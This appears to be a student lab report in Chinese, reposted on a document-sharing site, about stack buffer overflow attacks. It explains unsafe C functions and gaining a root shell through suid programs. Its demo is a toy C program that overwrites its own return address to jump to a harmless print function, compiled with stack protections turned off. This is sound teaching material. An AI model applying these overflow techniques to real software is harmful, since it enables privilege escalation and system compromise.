基于缓冲区溢出的攻击实验报告

  • 格式:docx
  • 大小:21.33 KB
  • 文档页数:4

下载文档原格式

  / 4
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

一、实验名称:基于缓冲区溢出的攻击

二、实验目的:

1.学习并掌握缓冲区溢出的基本原理

2.学习缓冲区溢出攻击利用的技术

三、概念与原理

1.缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间想匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。

2.通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:

void function(char *str) {

char buffer[16];

strcpy(buffer,str);

}

上面的strcpy()将直接吧str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf()等。

当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。

四、攻击方法

利用c语言中的getchar()等脆弱性函数在执行时没有检查缓冲区长度的特性,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。

以下为其详细过程:

1 #include

2 int i = 0;

3 void attack()

4 {

5 printf("hello, this's attack function\n");

6 }

7 void get()

8 {

9 int a = 0;

10 unsigned char ch[3];

11 int *ret = 0;

12 printf("%x\n%x\n", &a, &ch);

13 //while((ch[i++] = getchar()) != '\n');

14 //while(scanf("%d", ch[i++]));

15 while( i < 23)16 ch[i++] = 0x90;

17 ch[i++] = (char)(int)&attack % 256;

18 ch[i++] = (char)((int)&attack >> 8) % 256;

19 ch[i++] = (char)((int)&attack >> 16) % 256;

20 ch[i++] = (char)((int)&attack >> 24) % 256;

21 printf("i = %d %d %s\n", i, a, ch);

22 //ret = &i + 5;

23 //*ret -= 12;

24 //return 0;

25 }

26

27 int main()

28 {

29 //int i = 0;

30 get();

31 printf("hello\n");

32 printf("%d\n", i);

33 return 0;

34 }

对exp_flow.c进行编译:

gcc -g -fno-stack-protector -z execstack -o flow1 exp_flow1.c objdump -d flow1 //对flow1进行反汇编

(gdb) print /x &a //int a 的地址

$6 = 0xbffff278

(gdb) print /x &ch

//char ch[3] 数组的首地址

$7 = 0xbffff275

(gdb) print /x &ret

//int *ret 的地址

$8 = 0xbffff27c

void get();//函数的返回地址为:0x080483fr

五、实验总结

通过本次实验,了解到缓冲区溢出是一种在各种操作系统、应用软件中广泛存在普遍且危险的漏洞,利用缓冲区溢出攻击可以导致程序运行失败、系统崩溃等后果。因此,如何及时有效地检测出计算机网络系统入侵行为,已成为网络安全管理的一项重要内容。